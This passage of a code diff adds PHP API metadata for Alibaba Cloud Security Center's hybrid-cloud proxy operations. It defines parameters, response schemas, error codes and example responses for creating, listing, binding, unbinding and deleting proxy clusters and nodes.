'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + 'Messgae' => [ + 'description' => '如果异常，返回异常调用信息。', + 'type' => 'string', + 'example' => 'clusterName data not exist', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"Messgae\\": \\"clusterName data not exist\\"\\n}","type":"json"}]', + 'title' => '修改策略', + ], + 'UnBindHybridProxy' => [ + 'summary' => '解除客户端和当前代理集群的绑定连接。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '169980', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '代理集群名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'proxy-test', + ], + ], + [ + 'name' => 'YundunUuids', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '接入代理的机器的云安全中心客户端UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '接入代理集群的云安全中心客户端UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'fe914136-47ff-4dc3-bd25-fdd24969****', + ], + 'required' => true, + 'maxItems' => 10000, + 'minItems' => 1, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回的数据对象。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3956048F-9D73-5EDB-834B-4827BB483977', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB483977\\"\\n}","type":"json"}]', + 'title' => '解除客户端和代理集群的绑定', + ], + 'DescribeHybridProxyPolicy' => [ + 'summary' => '查询指定代理集群的数据采集配置信息。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '代理集群名称，用户可以通过控制台查看集群名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'test-idc', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'ListResult', + 'description' => 'ListResult', + 'type' => 'object', + 'properties' => [ + 'PolicyList' => [ + 'description' => '代理集群数据采集配置列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'PolicyType' => [ + 'description' => '策略类型。'."\n" + .'- **limitFrequency**：采集频率控制'."\n" + .'- **limitBandWidth**：采集带宽控制', + 'type' => 'string', + 'example' => 'limitBandWidth', + ], + 'Info' => [ + 'description' => '策略的信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '配置的策略类型。取值：'."\n" + ."\n" + .'- **file**：文件数据采集'."\n" + .'- **net**：网络数据采集'."\n" + .'- **process**：进程数据采集', + 'type' => 'string', + 'example' => 'file', + ], + 'Config' => [ + 'description' => '策略配置具体的值。', + 'type' => 'string', + 'example' => '10', + ], + 'FileName' => [ + 'description' => '代理集群通过策略拦截的数据写入到指定的文件。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + ], + ], + ], + 'Count' => [ + 'description' => '分页查询时，显示的当前页的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F7A1B40A-7EED-55A0-BCBC-2F83A486F0AB', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"PolicyList\\": [\\n {\\n \\"PolicyType\\": \\"limitBandWidth\\",\\n \\"Info\\": [\\n {\\n \\"Type\\": \\"file\\",\\n \\"Config\\": \\"10\\",\\n \\"FileName\\": \\"test\\"\\n }\\n ]\\n }\\n ],\\n \\"Count\\": 1,\\n \\"RequestId\\": \\"F7A1B40A-7EED-55A0-BCBC-2F83A486F0AB\\"\\n}","type":"json"}]', + 'title' => '查询代理集群的数据采集配置', + ], + 'DescribeHybridProxyList' => [ + 'summary' => '通过该接口，可以分页查询到指定代理集群已经部署的代理节点列表。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '151386', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '代理集群名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'idc-sas-proxy', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'PageInfo' => [ + 'description' => '页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的结果的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'ProxyList' => [ + 'description' => '代理集群列表信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'InstanceId' => [ + 'description' => '资产的实例ID。', + 'type' => 'string', + 'example' => 'i-uf61q03boqhhmeai1XXX', + ], + 'InstanceName' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'example' => 'dev', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '47.76.XXX.XXX', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '172.23.XXX.XXX', + ], + 'Status' => [ + 'description' => '当前代理机器运行的状态。取值：'."\n" + ."\n" + .'- **online**：在线'."\n" + .'- **offline**：离线', + 'type' => 'string', + 'example' => 'online', + ], + 'Uuid' => [ + 'description' => '当前代理实例部署的云安全中心客户端的UUID。', + 'type' => 'string', + 'example' => '59a9d158-b2f0-4766-a893-ae67b9432721', + ], + 'ClientCount' => [ + 'description' => '连接到当前代理实例的云安全中心客户端数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'ProxyUuid' => [ + 'description' => '标识当前代理节点唯一的KEY。', + 'type' => 'string', + 'example' => 'inet-proxy-3bb11fad-37d6-4aee-9c37-b0ad1612a18e', + ], + 'CurrentVersion' => [ + 'description' => '当前代理实例的版本信息。', + 'type' => 'string', + 'example' => 'proxy_01_05', + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '75801E5D-E2EB-5C1D-B65D-2F7D2B00EF93', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 20\\n },\\n \\"ProxyList\\": [\\n {\\n \\"InstanceId\\": \\"i-uf61q03boqhhmeai1XXX\\",\\n \\"InstanceName\\": \\"dev\\",\\n \\"InternetIp\\": \\"47.76.XXX.XXX\\",\\n \\"IntranetIp\\": \\"172.23.XXX.XXX\\",\\n \\"Status\\": \\"online\\",\\n \\"Uuid\\": \\"59a9d158-b2f0-4766-a893-ae67b9432721\\",\\n \\"ClientCount\\": 10,\\n \\"ProxyUuid\\": \\"inet-proxy-3bb11fad-37d6-4aee-9c37-b0ad1612a18e\\",\\n \\"CurrentVersion\\": \\"proxy_01_05\\"\\n }\\n ],\\n \\"RequestId\\": \\"75801E5D-E2EB-5C1D-B65D-2F7D2B00EF93\\"\\n}","type":"json"}]', + 'title' => '分页查询代理机器列表', + ], + 'DescribeHybridProxyClusterList' => [ + 'summary' => '分页查询代理集群列表。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '代理集群名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'ClusterList' => [ + 'description' => '集群列表', + 'type' => 'array', + 'items' => [ + 'description' => '集群列表', + 'type' => 'object', + 'properties' => [ + 'ClusterName' => [ + 'description' => '代理集群名称。', + 'type' => 'string', + 'example' => 'idc-sas-proxy', + ], + 'ProxyCount' => [ + 'description' => '代理节点数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'ClientCount' => [ + 'description' => '当前集群接入云安全中心客户端数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'Remark' => [ + 'description' => '代理集群备注信息。', + 'type' => 'string', + 'example' => 'test', + ], + 'InstallCommand' => [ + 'description' => '当前代理集群节点的安装命令。', + 'type' => 'string', + 'example' => 'test', + ], + 'AuthKey' => [ + 'description' => '集群认证的凭据ID。', + 'type' => 'string', + 'example' => 'test', + ], + 'AuthKeySecret' => [ + 'description' => '集群认证的凭证KEY。', + 'type' => 'string', + 'example' => 'test', + ], + 'Status' => [ + 'description' => '集群运行状态。', + 'type' => 'string', + 'example' => 'offline', + ], + 'Ip' => [ + 'description' => '集群接入地址，IP或者域名。', + 'type' => 'string', + 'example' => '114.115.XXX.XXX', + ], + 'LastHeartTime' => [ + 'description' => '集群上次心跳在线时间戳。单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1608304654000', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '页面显示信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '45', + ], + 'Count' => [ + 'description' => '当前页显示的查询项条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C1A36413-50B2-5B2F-843F-EB14C582713F', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ClusterList\\": [\\n {\\n \\"ClusterName\\": \\"idc-sas-proxy\\",\\n \\"ProxyCount\\": 3,\\n \\"ClientCount\\": 10,\\n \\"Remark\\": \\"test\\",\\n \\"InstallCommand\\": \\"test\\",\\n \\"AuthKey\\": \\"test\\",\\n \\"AuthKeySecret\\": \\"test\\",\\n \\"Status\\": \\"offline\\",\\n \\"Ip\\": \\"114.115.XXX.XXX\\",\\n \\"LastHeartTime\\": 1608304654000\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 20\\n },\\n \\"RequestId\\": \\"C1A36413-50B2-5B2F-843F-EB14C582713F\\"\\n}","type":"json"}]', + 'title' => '分页查询代理集群列表', + ], + 'DescribeHybridProxyLinkedClientList' => [ + 'summary' => '该接口是混合云代理功能的一部分，通过该接口可以分页查询连接到指定混合云代理的客户端列表信息。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ProxyUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '代理节点uuid，可以通过接口DescribeHybridProxyList获取。', + 'type' => 'string', + 'required' => false, + 'example' => 'inet-proxy-3bb11fad-37d6-4aee-9c37-b0ad1612XXXX', + ], + ], + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '代理集群名称，可以通过控制台查看该代理集群名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'office-proxy', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '云安全中心客户端对应的唯一KEY，用户可以通过查询资产获取该机器已安装云安全中心客户端UUID信息。', + 'type' => 'string', + 'required' => false, + 'example' => '80d2f7d6-31a9-4d7f-8ff4-7ecc42f89ca****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PageResult', + 'description' => 'PageResult', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '返回集合。', + 'type' => 'array', + 'items' => [ + 'description' => '返回对象。', + 'type' => 'object', + 'properties' => [ + 'InstanceId' => [ + 'description' => '服务器实例ID。', + 'type' => 'string', + 'example' => 'i-bp1a69mvjujbakxu****', + ], + 'InstanceName' => [ + 'description' => '服务器名称。', + 'type' => 'string', + 'example' => 'sql-test-0****', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '私网IP地址。', + 'type' => 'string', + 'example' => '172.25.XX.XX', + ], + 'Status' => [ + 'description' => '客户端状态。', + 'type' => 'string', + 'example' => 'online', + ], + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', + ], + 'RegionId' => [ + 'description' => '服务器所在地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'RegionName' => [ + 'description' => '服务器所在地域名称。', + 'type' => 'string', + 'example' => 'cn-qingdao', + ], + 'GroupName' => [ + 'description' => '服务器分组名称。', + 'type' => 'string', + 'example' => 'default', + ], + 'Tag' => [ + 'description' => '资产的标签名称。', + 'type' => 'string', + 'example' => 'latest', + ], + 'VendorName' => [ + 'description' => '服务提供商名称。', + 'type' => 'string', + 'example' => 'ALIYUN', + ], + 'Os' => [ + 'description' => '操作系统名称。', + 'type' => 'string', + 'example' => 'centos-xxx', + ], + 'OsName' => [ + 'description' => '资产的操作系统名称。', + 'type' => 'string', + 'example' => 'centos', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '149', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B01B804F-947C-5623-B050-1C8FDFA796CF', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"InstanceId\\": \\"i-bp1a69mvjujbakxu****\\",\\n \\"InstanceName\\": \\"sql-test-0****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"Status\\": \\"online\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"RegionName\\": \\"cn-qingdao\\",\\n \\"GroupName\\": \\"default\\",\\n \\"Tag\\": \\"latest\\",\\n \\"VendorName\\": \\"ALIYUN\\",\\n \\"Os\\": \\"centos-xxx\\",\\n \\"OsName\\": \\"centos\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 10\\n },\\n \\"RequestId\\": \\"B01B804F-947C-5623-B050-1C8FDFA796CF\\"\\n}","type":"json"}]', + 'title' => '分页查询连接客户端列表', + ], + 'DeleteHybridProxyCluster' => [ + 'summary' => '根据代理集群名称删除集群。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '151727', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '代理集群名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'proxy', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '414EC213-AD2D-56C3-B140-108773B24405', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParameter', + 'errorMessage' => 'delete fail because,cluster proxy machine is online', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"414EC213-AD2D-56C3-B140-108773B24405\\"\\n}","type":"json"}]', + 'title' => '根据集群名称删除集群', + ], + 'DeleteHybridProxy' => [ + 'summary' => '从指定的代理集群中删除代理节点。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '153489', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '代理集群名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'IDC-代理', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要删除的代理服务器的uuid，以inet-proxy-开头。', + 'type' => 'string', + 'required' => true, + 'example' => 'inet-proxy-d2d94e8b-bb25-4744-8004-1e08a53c****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParameter', + 'errorMessage' => 'delete fail because,cluster proxy machine is online', + ], + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => '%s data not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\"\\n}","type":"json"}]', + 'title' => '删除代理节点', + ], + 'CreateHybridProxyCluster' => [ + 'summary' => '创建混合云代理集群。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '151826', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'test', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '集群备注。', + 'type' => 'string', + 'required' => false, + 'example' => 'testRemark', + ], + ], + [ + 'name' => 'Ip', + 'in' => 'query', + 'schema' => [ + 'description' => '集群接入地址。'."\n" + .'> 接入IP或域名', + 'type' => 'string', + 'required' => true, + 'docRequired' => true, + 'example' => '117.71.xx.xx', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => 'CDCB0BBB-CFB2-5D38-BB49-500E2A21xxxx', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataExists', + 'errorMessage' => '%s data exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CDCB0BBB-CFB2-5D38-BB49-500E2A21xxxx\\"\\n}","type":"json"}]', + 'title' => '创建集群', + ], + 'BindHybridProxy' => [ + 'summary' => '接入代理服务器。创建集群并完成代理服务器部署后，可以选择服务器作为客户端添加到代理集群，实现服务器通过代理接入云安全中心防护。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '169977', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '代理集群名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'sas-proxy', + ], + ], + [ + 'name' => 'YundunUuids', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '接入代理的机器UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '机器UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'fe914136-47ff-4dc3-bd25-fdd24969****', + ], + 'required' => true, + 'maxItems' => 10000, + 'minItems' => 1, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '11C96623-E106-59C9-866D-A6C82911459F', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"11C96623-E106-59C9-866D-A6C82911459F\\"\\n}","type":"json"}]', + 'title' => '接入混合云代理', + ], + 'DescribeDefaultProxyInstallVersion' => [ + 'summary' => '查询混合云代理默认安装版本。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => 'ListResult', + 'type' => 'object', + 'properties' => [ + 'InstallVersion' => [ + 'description' => '默认安装版本。', + 'type' => 'string', + 'example' => 'proxy_01_03', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'F9FCB51A-5078-5D31-9C4D-3B25BEF068C7', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 